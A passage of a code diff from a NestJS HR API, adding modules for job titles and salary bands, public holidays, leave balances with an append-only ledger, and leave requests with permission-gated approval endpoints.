organizationId!: string;
|
||||
|
||||
@Column({ type: "jsonb", name: "name" })
|
||||
name!: { am: string; en: string };
|
||||
|
||||
@Column({ type: "varchar", length: 32, name: "code" })
|
||||
code!: string;
|
||||
|
||||
/** Higher is more senior. Ordering key for grade-based reports and bands. */
|
||||
@Column({ type: "int", name: "grade_level", default: 1 })
|
||||
gradeLevel!: number;
|
||||
|
||||
@Column({
|
||||
type: "numeric",
|
||||
precision: 14,
|
||||
scale: 2,
|
||||
name: "salary_band_min",
|
||||
nullable: true,
|
||||
})
|
||||
salaryBandMin?: string | null;
|
||||
|
||||
@Column({
|
||||
type: "numeric",
|
||||
precision: 14,
|
||||
scale: 2,
|
||||
name: "salary_band_max",
|
||||
nullable: true,
|
||||
})
|
||||
salaryBandMax?: string | null;
|
||||
|
||||
@Column({ type: "jsonb", name: "description", nullable: true })
|
||||
description?: { am: string; en: string } | null;
|
||||
|
||||
@Column({ type: "boolean", name: "is_active", default: true })
|
||||
isActive!: boolean;
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
import {
|
||||
Body,
|
||||
Controller,
|
||||
Delete,
|
||||
Get,
|
||||
HttpCode,
|
||||
HttpStatus,
|
||||
Param,
|
||||
ParseBoolPipe,
|
||||
ParseUUIDPipe,
|
||||
Patch,
|
||||
Post,
|
||||
Query,
|
||||
} from "@nestjs/common";
|
||||
import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../common/hr-guards";
|
||||
import { actorFrom } from "../../common/current-actor.util";
|
||||
import { HR_PERMS } from "../../seed/hr-permissions.registry";
|
||||
import { PaginationQueryDto } from "../../common/pagination.dto";
|
||||
import { JobTitlesService } from "./job-titles.service";
|
||||
import { CreateJobTitleDto } from "./dto/create-job-title.dto";
|
||||
import { UpdateJobTitleDto } from "./dto/update-job-title.dto";
|
||||
|
||||
@ApiTags("job-titles")
|
||||
@ApiBearerAuth()
|
||||
@Controller("job-titles")
|
||||
@HrStaff([HR_PERMS.org.manageJobTitle, HR_PERMS.org.viewOrg])
|
||||
export class JobTitlesController {
|
||||
constructor(private readonly jobTitlesService: JobTitlesService) {}
|
||||
|
||||
@Post()
|
||||
@HrStaff(HR_PERMS.org.manageJobTitle)
|
||||
@ApiOperation({ summary: "Create a job title (grade / salary band)" })
|
||||
create(@Body() dto: CreateJobTitleDto, @CurrentUser() user: TCurrentUser) {
|
||||
return this.jobTitlesService.create(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get()
|
||||
@HrStaff(HR_PERMS.org.viewOrg)
|
||||
@ApiOperation({ summary: "List job titles" })
|
||||
findAll(
|
||||
@Query() pagination: PaginationQueryDto,
|
||||
@Query("search") search: string | undefined,
|
||||
@Query("isActive", new ParseBoolPipe({ optional: true }))
|
||||
isActive: boolean | undefined,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.jobTitlesService.findAll(
|
||||
{ ...pagination, search, isActive },
|
||||
actorFrom(user),
|
||||
);
|
||||
}
|
||||
|
||||
@Get(":id")
|
||||
@HrStaff(HR_PERMS.org.viewOrg)
|
||||
@ApiOperation({ summary: "One job title" })
|
||||
findOne(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.jobTitlesService.findOne(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id")
|
||||
@HrStaff(HR_PERMS.org.manageJobTitle)
|
||||
@ApiOperation({ summary: "Update a job title" })
|
||||
update(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: UpdateJobTitleDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.jobTitlesService.update(id, dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Delete(":id")
|
||||
@HrStaff(HR_PERMS.org.manageJobTitle)
|
||||
@HttpCode(HttpStatus.NO_CONTENT)
|
||||
@ApiOperation({
|
||||
summary: "Delete a job title",
|
||||
description: "Refused while employees still hold it — deactivate instead.",
|
||||
})
|
||||
remove(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.jobTitlesService.remove(id, actorFrom(user));
|
||||
}
|
||||
}
|
||||
17
apps/edr-hr-api/src/modules/job-titles/job-titles.module.ts
Normal file
17
apps/edr-hr-api/src/modules/job-titles/job-titles.module.ts
Normal file
@@ -0,0 +1,17 @@
|
||||
import { Module } from "@nestjs/common";
|
||||
import { TypeOrmModule } from "@nestjs/typeorm";
|
||||
|
||||
import { JobTitle } from "./entities/job-title.entity";
|
||||
import { JobTitlesRepository } from "./job-titles.repository";
|
||||
import { JobTitlesService } from "./job-titles.service";
|
||||
import { JobTitlesController } from "./job-titles.controller";
|
||||
|
||||
@Module({
|
||||
imports: [TypeOrmModule.forFeature([JobTitle])],
|
||||
controllers: [JobTitlesController],
|
||||
providers: [JobTitlesRepository, JobTitlesService],
|
||||
// The employees module validates a profile's job title, and payroll (3.4)
|
||||
// reads the salary band off it.
|
||||
exports: [JobTitlesRepository, JobTitlesService],
|
||||
})
|
||||
export class JobTitlesModule {}
|
||||
@@ -0,0 +1,70 @@
|
||||
import { Injectable } from "@nestjs/common";
|
||||
import { InjectRepository } from "@nestjs/typeorm";
|
||||
import { BaseRepository } from "@edr/api-common";
|
||||
import { Repository } from "typeorm";
|
||||
|
||||
import { JobTitle } from "./entities/job-title.entity";
|
||||
|
||||
@Injectable()
|
||||
export class JobTitlesRepository extends BaseRepository<JobTitle> {
|
||||
constructor(
|
||||
@InjectRepository(JobTitle) repository: Repository<JobTitle>,
|
||||
) {
|
||||
super(repository);
|
||||
}
|
||||
|
||||
findByCode(organizationId: string, code: string): Promise<JobTitle | null> {
|
||||
return this.repository.findOne({ where: { organizationId, code } });
|
||||
}
|
||||
|
||||
async findPage(
|
||||
organizationId: string | null,
|
||||
filters: {
|
||||
search?: string;
|
||||
isActive?: boolean;
|
||||
page?: number;
|
||||
limit?: number;
|
||||
sortOrder?: "ASC" | "DESC";
|
||||
},
|
||||
): Promise<[JobTitle[], number]> {
|
||||
const page = filters.page ?? 1;
|
||||
const limit = filters.limit ?? 25;
|
||||
|
||||
const qb = this.repository.createQueryBuilder("title").where("1 = 1");
|
||||
|
||||
// `null` = every organization (super admin).
|
||||
if (organizationId) {
|
||||
qb.andWhere("title.organization_id = :organizationId", { organizationId });
|
||||
}
|
||||
|
||||
if (filters.isActive !== undefined) {
|
||||
qb.andWhere("title.is_active = :isActive", { isActive: filters.isActive });
|
||||
}
|
||||
if (filters.search) {
|
||||
// Both locales of the jsonb name, plus the code.
|
||||
qb.andWhere(
|
||||
`(title.code ILIKE :search OR title.name->>'en' ILIKE :search OR title.name->>'am' ILIKE :search)`,
|
||||
{ search: `%${filters.search}%` },
|
||||
);
|
||||
}
|
||||
|
||||
return qb
|
||||
.orderBy("title.gradeLevel", filters.sortOrder ?? "ASC")
|
||||
.addOrderBy("title.code", "ASC")
|
||||
.skip((page - 1) * limit)
|
||||
.take(limit)
|
||||
.getManyAndCount();
|
||||
}
|
||||
|
||||
/** How many profiles reference this title — the guard against deleting a
|
||||
* title that salary structures and employees still point at. */
|
||||
async countEmployeesUsing(jobTitleId: string): Promise<number> {
|
||||
const row = await this.repository.manager.query<{ count: string }[]>(
|
||||
`SELECT COUNT(*)::text AS count
|
||||
FROM hr.employee_profiles
|
||||
WHERE job_title_id = $1 AND deleted_at IS NULL`,
|
||||
[jobTitleId],
|
||||
);
|
||||
return parseInt(row[0]?.count ?? "0", 10);
|
||||
}
|
||||
}
|
||||
135
apps/edr-hr-api/src/modules/job-titles/job-titles.service.ts
Normal file
135
apps/edr-hr-api/src/modules/job-titles/job-titles.service.ts
Normal file
@@ -0,0 +1,135 @@
|
||||
import {
|
||||
BadRequestException,
|
||||
ConflictException,
|
||||
Injectable,
|
||||
NotFoundException,
|
||||
} from "@nestjs/common";
|
||||
|
||||
import { JobTitlesRepository } from "./job-titles.repository";
|
||||
import { JobTitle } from "./entities/job-title.entity";
|
||||
import { CreateJobTitleDto } from "./dto/create-job-title.dto";
|
||||
import { UpdateJobTitleDto } from "./dto/update-job-title.dto";
|
||||
import { ActorContext, orgScope } from "../employees/employees.service";
|
||||
import { Paginated, paginate } from "../../common/pagination.dto";
|
||||
|
||||
@Injectable()
|
||||
export class JobTitlesService {
|
||||
constructor(private readonly jobTitlesRepository: JobTitlesRepository) {}
|
||||
|
||||
private static assertBand(min?: string | null, max?: string | null): void {
|
||||
if (min && max && Number(max) < Number(min)) {
|
||||
throw new BadRequestException(
|
||||
"salaryBandMax cannot be lower than salaryBandMin",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
async create(
|
||||
dto: CreateJobTitleDto,
|
||||
actor: ActorContext,
|
||||
): Promise<JobTitle> {
|
||||
JobTitlesService.assertBand(dto.salaryBandMin, dto.salaryBandMax);
|
||||
|
||||
// A job title has no IAM parent to inherit an organization from, so it is
|
||||
// created in the caller's own. A super admin with no employee record has
|
||||
// none — better an explicit error than a row filed under an empty id.
|
||||
if (!actor.organizationId) {
|
||||
throw new BadRequestException(
|
||||
"Cannot create a job title: this account has no organization. " +
|
||||
"Job titles belong to a specific organization.",
|
||||
);
|
||||
}
|
||||
|
||||
const clash = await this.jobTitlesRepository.findByCode(
|
||||
actor.organizationId,
|
||||
dto.code,
|
||||
);
|
||||
if (clash) {
|
||||
throw new ConflictException(`Job title code ${dto.code} already exists`);
|
||||
}
|
||||
|
||||
return this.jobTitlesRepository.create({
|
||||
...dto,
|
||||
organizationId: actor.organizationId,
|
||||
createdBy: actor.userId,
|
||||
});
|
||||
}
|
||||
|
||||
async update(
|
||||
id: string,
|
||||
dto: UpdateJobTitleDto,
|
||||
actor: ActorContext,
|
||||
): Promise<JobTitle> {
|
||||
const title = await this.requireTitle(id, orgScope(actor));
|
||||
|
||||
JobTitlesService.assertBand(
|
||||
dto.salaryBandMin ?? title.salaryBandMin,
|
||||
dto.salaryBandMax ?? title.salaryBandMax,
|
||||
);
|
||||
|
||||
if (dto.code && dto.code !== title.code) {
|
||||
// Uniqueness is per organization, so check against the TITLE's own org —
|
||||
// not the caller's. For a super admin editing another organization's
|
||||
// title those differ, and using the caller's would compare against the
|
||||
// wrong set of codes.
|
||||
const clash = await this.jobTitlesRepository.findByCode(
|
||||
title.organizationId,
|
||||
dto.code,
|
||||
);
|
||||
if (clash) {
|
||||
throw new ConflictException(`Job title code ${dto.code} already exists`);
|
||||
}
|
||||
}
|
||||
|
||||
return (await this.jobTitlesRepository.update(id, dto)) ?? title;
|
||||
}
|
||||
|
||||
async findAll(
|
||||
filters: {
|
||||
search?: string;
|
||||
isActive?: boolean;
|
||||
page?: number;
|
||||
limit?: number;
|
||||
sortOrder?: "ASC" | "DESC";
|
||||
},
|
||||
actor: ActorContext,
|
||||
): Promise<Paginated<JobTitle>> {
|
||||
const [items, total] = await this.jobTitlesRepository.findPage(
|
||||
orgScope(actor),
|
||||
filters,
|
||||
);
|
||||
return paginate(items, total, filters.page ?? 1, filters.limit ?? 25);
|
||||
}
|
||||
|
||||
findOne(id: string, actor: ActorContext): Promise<JobTitle> {
|
||||
return this.requireTitle(id, orgScope(actor));
|
||||
}
|
||||
|
||||
/**
|
||||
* Removing a title that employees still hold would orphan their grade and,
|
||||
* from 3.4, their salary structure. Deactivating is the supported way to
|
||||
* retire one: it disappears from pickers but existing references keep resolving.
|
||||
*/
|
||||
async remove(id: string, actor: ActorContext): Promise<void> {
|
||||
const title = await this.requireTitle(id, orgScope(actor));
|
||||
const inUse = await this.jobTitlesRepository.countEmployeesUsing(title.id);
|
||||
if (inUse > 0) {
|
||||
throw new ConflictException(
|
||||
`${inUse} employee(s) hold this job title. Deactivate it instead of deleting it.`,
|
||||
);
|
||||
}
|
||||
await this.jobTitlesRepository.softDelete(id);
|
||||
}
|
||||
|
||||
/** `organizationId: null` = no scoping (super admin). */
|
||||
private async requireTitle(
|
||||
id: string,
|
||||
organizationId: string | null,
|
||||
): Promise<JobTitle> {
|
||||
const title = await this.jobTitlesRepository.findById(id);
|
||||
if (!title || (organizationId && title.organizationId !== organizationId)) {
|
||||
throw new NotFoundException(`Job title ${id} not found`);
|
||||
}
|
||||
return title;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
import {
|
||||
Body,
|
||||
Controller,
|
||||
Delete,
|
||||
Get,
|
||||
HttpCode,
|
||||
HttpStatus,
|
||||
Param,
|
||||
ParseUUIDPipe,
|
||||
Patch,
|
||||
Post,
|
||||
Query,
|
||||
} from "@nestjs/common";
|
||||
import {
|
||||
ApiBearerAuth,
|
||||
ApiOperation,
|
||||
ApiQuery,
|
||||
ApiTags,
|
||||
} from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../../common/hr-guards";
|
||||
import { actorFrom } from "../../../common/current-actor.util";
|
||||
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
|
||||
import { HolidaysService } from "../services/holidays.service";
|
||||
import { CreateHolidayDto, UpdateHolidayDto } from "../dto/holiday.dto";
|
||||
|
||||
@ApiTags("holidays")
|
||||
@ApiBearerAuth()
|
||||
@Controller("holidays")
|
||||
@HrStaff([HR_PERMS.leave.managePublicHoliday, HR_PERMS.leave.viewOwn])
|
||||
export class HolidaysController {
|
||||
constructor(private readonly holidaysService: HolidaysService) {}
|
||||
|
||||
@Get()
|
||||
@HrStaff(HR_PERMS.leave.viewOwn)
|
||||
@ApiOperation({
|
||||
summary: "Holidays in a range",
|
||||
description:
|
||||
"National holidays plus this organization's own. Defaults to the current " +
|
||||
"Gregorian year.",
|
||||
})
|
||||
@ApiQuery({ name: "start", required: false, example: "2026-01-01" })
|
||||
@ApiQuery({ name: "end", required: false, example: "2026-12-31" })
|
||||
findAll(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("start") start?: string,
|
||||
@Query("end") end?: string,
|
||||
) {
|
||||
return this.holidaysService.findAll({ start, end }, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get("calendar")
|
||||
@HrStaff(HR_PERMS.leave.viewOwn)
|
||||
@ApiOperation({
|
||||
summary: "Working-day breakdown for a range",
|
||||
description:
|
||||
"Returns the holidays, the weekend definition, and both day counts — so a " +
|
||||
"leave form can explain why five requested dates became three days, " +
|
||||
"rather than just showing the number.",
|
||||
})
|
||||
@ApiQuery({ name: "start", required: true, example: "2026-09-01" })
|
||||
@ApiQuery({ name: "end", required: true, example: "2026-09-14" })
|
||||
calendar(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("start") start: string,
|
||||
@Query("end") end: string,
|
||||
) {
|
||||
return this.holidaysService.calendar({ start, end }, actorFrom(user));
|
||||
}
|
||||
|
||||
@Post()
|
||||
@HrStaff(HR_PERMS.leave.managePublicHoliday)
|
||||
@ApiOperation({ summary: "Add an organization holiday" })
|
||||
create(@Body() dto: CreateHolidayDto, @CurrentUser() user: TCurrentUser) {
|
||||
return this.holidaysService.create(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id")
|
||||
@HrStaff(HR_PERMS.leave.managePublicHoliday)
|
||||
@ApiOperation({ summary: "Change a holiday" })
|
||||
update(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: UpdateHolidayDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.holidaysService.update(id, dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Delete(":id")
|
||||
@HrStaff(HR_PERMS.leave.managePublicHoliday)
|
||||
@HttpCode(HttpStatus.NO_CONTENT)
|
||||
@ApiOperation({
|
||||
summary: "Remove an organization holiday",
|
||||
description:
|
||||
"National holidays cannot be removed by an individual employer — set " +
|
||||
"isWorkingDay on it instead if this organization works that day.",
|
||||
})
|
||||
remove(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.holidaysService.remove(id, actorFrom(user));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
import {
|
||||
Body,
|
||||
Controller,
|
||||
ForbiddenException,
|
||||
Get,
|
||||
NotFoundException,
|
||||
Param,
|
||||
ParseUUIDPipe,
|
||||
Post,
|
||||
Query,
|
||||
} from "@nestjs/common";
|
||||
import {
|
||||
ApiBearerAuth,
|
||||
ApiOperation,
|
||||
ApiQuery,
|
||||
ApiResponse,
|
||||
ApiTags,
|
||||
} from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../../common/hr-guards";
|
||||
import { actorFrom } from "../../../common/current-actor.util";
|
||||
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
|
||||
import { hasHrPermission } from "../../../common/hr-permission.util";
|
||||
import { LeaveBalancesService } from "../services/leave-balances.service";
|
||||
import { ELedgerEntryType } from "../entities/leave-ledger-entry.entity";
|
||||
import { AdjustBalanceDto, ReverseEntryDto } from "../dto/leave-balance.dto";
|
||||
|
||||
@ApiTags("leave-balances")
|
||||
@ApiBearerAuth()
|
||||
@Controller("leave-balances")
|
||||
@HrStaff([
|
||||
HR_PERMS.leave.viewOwn,
|
||||
HR_PERMS.leave.viewAll,
|
||||
HR_PERMS.leave.manageAllocation,
|
||||
])
|
||||
export class LeaveBalancesController {
|
||||
constructor(private readonly balances: LeaveBalancesService) {}
|
||||
|
||||
@Get("me")
|
||||
@HrStaff(HR_PERMS.leave.viewOwn)
|
||||
@ApiOperation({
|
||||
summary: "My leave balances",
|
||||
description:
|
||||
"Balances for the leave year containing today. Entitlements are created " +
|
||||
"on first read, so a new joiner sees their allowance immediately rather " +
|
||||
"than waiting for a nightly job.",
|
||||
})
|
||||
@ApiQuery({ name: "on", required: false, description: "Defaults to today." })
|
||||
async mine(@CurrentUser() user: TCurrentUser, @Query("on") on?: string) {
|
||||
const actor = actorFrom(user);
|
||||
if (!actor.employeeId) {
|
||||
throw new ForbiddenException(
|
||||
"This account has no employee record, so it holds no leave balance.",
|
||||
);
|
||||
}
|
||||
try {
|
||||
return await this.balances.balancesFor(actor.employeeId, actor, on);
|
||||
} catch (error) {
|
||||
// The service message is written for HR looking someone up, and quotes an
|
||||
// employee id. Addressed to the person themselves that reads as a fault
|
||||
// in the system rather than a step somebody still owes them.
|
||||
if (error instanceof NotFoundException) {
|
||||
throw new NotFoundException(
|
||||
"You do not have an HR profile yet, so there is nothing to show. " +
|
||||
"Ask HR to complete your onboarding.",
|
||||
);
|
||||
}
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
@Get("employee/:employeeId")
|
||||
@HrStaff(HR_PERMS.leave.viewAll)
|
||||
@ApiOperation({ summary: "Another employee's leave balances" })
|
||||
@ApiQuery({ name: "on", required: false })
|
||||
forEmployee(
|
||||
@Param("employeeId", ParseUUIDPipe) employeeId: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("on") on?: string,
|
||||
) {
|
||||
return this.balances.balancesFor(employeeId, actorFrom(user), on);
|
||||
}
|
||||
|
||||
@Get(":entitlementId/ledger")
|
||||
@HrStaff(HR_PERMS.leave.viewOwn)
|
||||
@ApiOperation({
|
||||
summary: "Every movement behind a balance",
|
||||
description:
|
||||
"The append-only history. This is the answer to 'why is my balance that " +
|
||||
"number' — grants, carry-over, deductions, expiries and corrections, " +
|
||||
"newest first.",
|
||||
})
|
||||
async ledger(
|
||||
@Param("entitlementId", ParseUUIDPipe) entitlementId: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
// Own ledger always; anyone else's needs the view-all key. Checked here
|
||||
// rather than by a route guard because which rule applies depends on whose
|
||||
// entitlement it is, and the guard cannot know that before loading it.
|
||||
const actor = actorFrom(user);
|
||||
const entries = await this.balances.ledgerFor(entitlementId);
|
||||
await this.assertLedgerVisible(entitlementId, actor, user);
|
||||
return entries;
|
||||
}
|
||||
|
||||
@Post(":entitlementId/adjust")
|
||||
@HrStaff(HR_PERMS.leave.manageAllocation)
|
||||
@ApiOperation({
|
||||
summary: "Correct a balance",
|
||||
description:
|
||||
"Posts a signed ADJUSTMENT entry. Nothing is overwritten and the reason " +
|
||||
"is mandatory — the ledger is what an argument about a balance is settled " +
|
||||
"with months later.",
|
||||
})
|
||||
@ApiResponse({ status: 201, description: "The entry that was posted" })
|
||||
adjust(
|
||||
@Param("entitlementId", ParseUUIDPipe) entitlementId: string,
|
||||
@Body() dto: AdjustBalanceDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.balances.post(
|
||||
entitlementId,
|
||||
{
|
||||
entryType: ELedgerEntryType.ADJUSTMENT,
|
||||
days: dto.days,
|
||||
effectiveOn: dto.effectiveOn ?? new Date().toISOString().slice(0, 10),
|
||||
reason: dto.reason,
|
||||
},
|
||||
actorFrom(user),
|
||||
);
|
||||
}
|
||||
|
||||
@Post("entries/:entryId/reverse")
|
||||
@HrStaff(HR_PERMS.leave.manageAllocation)
|
||||
@ApiOperation({
|
||||
summary: "Undo one entry",
|
||||
description:
|
||||
"Posts the opposite entry rather than deleting. An entry can only be " +
|
||||
"reversed once — a second attempt is refused by the database, so a " +
|
||||
"double-click cannot credit the days twice.",
|
||||
})
|
||||
reverse(
|
||||
@Param("entryId", ParseUUIDPipe) entryId: string,
|
||||
@Body() dto: ReverseEntryDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.balances.reverse(entryId, dto.reason, actorFrom(user));
|
||||
}
|
||||
|
||||
private async assertLedgerVisible(
|
||||
entitlementId: string,
|
||||
actor: ReturnType<typeof actorFrom>,
|
||||
user: TCurrentUser,
|
||||
): Promise<void> {
|
||||
if (hasHrPermission(user, HR_PERMS.leave.viewAll)) return;
|
||||
const owned = await this.balances.entitlementBelongsTo(
|
||||
entitlementId,
|
||||
actor.employeeId,
|
||||
);
|
||||
if (!owned) {
|
||||
throw new ForbiddenException(
|
||||
"You can only see the history behind your own balances.",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,222 @@
|
||||
import {
|
||||
Body,
|
||||
Controller,
|
||||
Get,
|
||||
Param,
|
||||
ParseIntPipe,
|
||||
ParseUUIDPipe,
|
||||
Patch,
|
||||
Post,
|
||||
Query,
|
||||
} from "@nestjs/common";
|
||||
import {
|
||||
ApiBearerAuth,
|
||||
ApiOperation,
|
||||
ApiQuery,
|
||||
ApiResponse,
|
||||
ApiTags,
|
||||
} from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../../common/hr-guards";
|
||||
import { actorFrom } from "../../../common/current-actor.util";
|
||||
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
|
||||
import { LeaveRequestsService } from "../services/leave-requests.service";
|
||||
import { ELeaveRequestStatus } from "../entities/leave-request.entity";
|
||||
import {
|
||||
CancelLeaveRequestDto,
|
||||
CreateLeaveRequestDto,
|
||||
DecideLeaveRequestDto,
|
||||
RejectLeaveRequestDto,
|
||||
} from "../dto/leave-request.dto";
|
||||
|
||||
@ApiTags("leave-requests")
|
||||
@ApiBearerAuth()
|
||||
@Controller("leave-requests")
|
||||
@HrStaff([
|
||||
HR_PERMS.leave.create,
|
||||
HR_PERMS.leave.viewOwn,
|
||||
HR_PERMS.leave.viewAll,
|
||||
HR_PERMS.leave.approveL1,
|
||||
HR_PERMS.leave.approveL2,
|
||||
HR_PERMS.leave.cancel,
|
||||
])
|
||||
export class LeaveRequestsController {
|
||||
constructor(private readonly requests: LeaveRequestsService) {}
|
||||
|
||||
@Get("quote")
|
||||
@HrStaff(HR_PERMS.leave.create)
|
||||
@ApiOperation({
|
||||
summary: "What a range would cost, before requesting it",
|
||||
description:
|
||||
"Returns the working-day and calendar-day counts, which holidays fell " +
|
||||
"inside the range, what would be charged and what would be left. The " +
|
||||
"leave form calls this as the dates change so the number is never a " +
|
||||
"surprise.",
|
||||
})
|
||||
@ApiQuery({ name: "employeeId", required: false })
|
||||
quote(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("leaveTypeId", ParseUUIDPipe) leaveTypeId: string,
|
||||
@Query("startDate") startDate: string,
|
||||
@Query("endDate") endDate: string,
|
||||
@Query("isHalfDay") isHalfDay?: string,
|
||||
@Query("employeeId") employeeId?: string,
|
||||
) {
|
||||
const actor = actorFrom(user);
|
||||
return this.requests.quote(
|
||||
employeeId ?? actor.employeeId ?? "",
|
||||
leaveTypeId,
|
||||
startDate,
|
||||
endDate,
|
||||
isHalfDay === "true",
|
||||
actor,
|
||||
);
|
||||
}
|
||||
|
||||
@Post()
|
||||
@HrStaff(HR_PERMS.leave.create)
|
||||
@ApiOperation({ summary: "Request leave" })
|
||||
@ApiResponse({ status: 201, description: "Submitted, awaiting a decision" })
|
||||
@ApiResponse({
|
||||
status: 400,
|
||||
description:
|
||||
"A rule refused it — overlapping dates, insufficient balance, missing " +
|
||||
"evidence, or a type the employee is not eligible for. The message says which.",
|
||||
})
|
||||
create(@Body() dto: CreateLeaveRequestDto, @CurrentUser() user: TCurrentUser) {
|
||||
return this.requests.create(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get("mine")
|
||||
@HrStaff(HR_PERMS.leave.viewOwn)
|
||||
@ApiOperation({ summary: "My leave requests" })
|
||||
mine(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("status") status?: ELeaveRequestStatus,
|
||||
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
|
||||
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
|
||||
) {
|
||||
const actor = actorFrom(user);
|
||||
return this.requests.findAll(
|
||||
{ employeeId: actor.employeeId ?? "", status, page, limit },
|
||||
actor,
|
||||
);
|
||||
}
|
||||
|
||||
@Get("awaiting-me")
|
||||
// L1 (line manager) or L2 (HR's role grant, e.g. hr_manager) — approveL1 is
|
||||
// deliberately never granted to any role/position/position-type (it is
|
||||
// resolved dynamically below), so gating on it alone made this endpoint,
|
||||
// and the approvals screen it feeds, unreachable by anyone but a super
|
||||
// admin. An L2-only caller with no direct reports just gets an empty list.
|
||||
@HrStaff([HR_PERMS.leave.approveL1, HR_PERMS.leave.approveL2])
|
||||
@ApiOperation({
|
||||
summary: "Requests waiting on my decision",
|
||||
description:
|
||||
"Submitted requests whose approver is this employee — resolved from the " +
|
||||
"IAM position hierarchy, or the manager override on the HR profile.",
|
||||
})
|
||||
awaitingMe(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
|
||||
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
|
||||
) {
|
||||
return this.requests.findAwaitingMe(actorFrom(user), page, limit);
|
||||
}
|
||||
|
||||
@Get()
|
||||
@HrStaff(HR_PERMS.leave.viewAll)
|
||||
@ApiOperation({ summary: "All leave requests" })
|
||||
@ApiQuery({ name: "employeeId", required: false })
|
||||
@ApiQuery({ name: "status", required: false, enum: ELeaveRequestStatus })
|
||||
@ApiQuery({ name: "from", required: false })
|
||||
@ApiQuery({ name: "to", required: false })
|
||||
findAll(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("employeeId") employeeId?: string,
|
||||
@Query("status") status?: ELeaveRequestStatus,
|
||||
@Query("leaveTypeId") leaveTypeId?: string,
|
||||
@Query("from") from?: string,
|
||||
@Query("to") to?: string,
|
||||
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
|
||||
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
|
||||
) {
|
||||
return this.requests.findAll(
|
||||
{ employeeId, status, leaveTypeId, from, to, page, limit },
|
||||
actorFrom(user),
|
||||
);
|
||||
}
|
||||
|
||||
@Get(":id")
|
||||
@HrStaff(HR_PERMS.leave.viewOwn)
|
||||
@ApiOperation({ summary: "One leave request" })
|
||||
findOne(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.requests.findOne(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/approve")
|
||||
// L1 or L2 — see the guard on "awaiting-me" above. The service's own
|
||||
// assertCanDecide() already expects an L2 holder to arrive here ("anyone
|
||||
// else arriving is HR acting above the line manager — allowed").
|
||||
@HrStaff([HR_PERMS.leave.approveL1, HR_PERMS.leave.approveL2])
|
||||
@ApiOperation({
|
||||
summary: "Approve",
|
||||
description:
|
||||
"Deducts the days in the same transaction. The balance is re-checked " +
|
||||
"first, because other requests may have been approved since this one was " +
|
||||
"submitted. Nobody can approve their own request.",
|
||||
})
|
||||
approve(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: DecideLeaveRequestDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.requests.approve(id, dto.note, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/reject")
|
